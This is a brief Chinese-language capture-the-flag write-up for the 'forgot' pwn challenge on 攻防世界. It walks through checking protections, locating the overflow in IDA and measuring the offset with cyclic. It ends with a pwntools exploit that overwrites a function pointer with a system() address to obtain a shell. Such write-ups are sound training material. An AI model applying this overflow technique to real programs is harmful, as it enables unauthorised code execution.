进阶区forgotg攻防世界
攻防世界进阶区--forgot
前言,这题中看不中用啊宝友!!!
1.查看保护
第一反应就是蛮简单的,32位.
2.获取信息(先运行程序看看)
装的可以,蛮多的东西。
但是就是中看不中用
3.ida
进去看看
里面有两个输入,第一个我本来以为能溢出覆盖掉v14的数值,然后在最后的这句
用函数指针(还是指针函数来着我忘了),去调用这道题给出来的system,结果我试了试发现覆盖不到,就很气。
平日见到的scanf(%s)覆盖是不多的,所以没有太想到这里溢出点是第二个向v2里面传输数据。
使用cyclic看看溢出偏移的量:
得到之后直接写exp。
from pwn import*
p=process('./forgot')
system_add=0x80486cc
payload1='a'*124+p32(system_add)
p.recvuntil("> ")
p.sendline("baba")
p.recvuntil("> ")
p.sendline(payload1)
p.interactive()
入门题吧算是.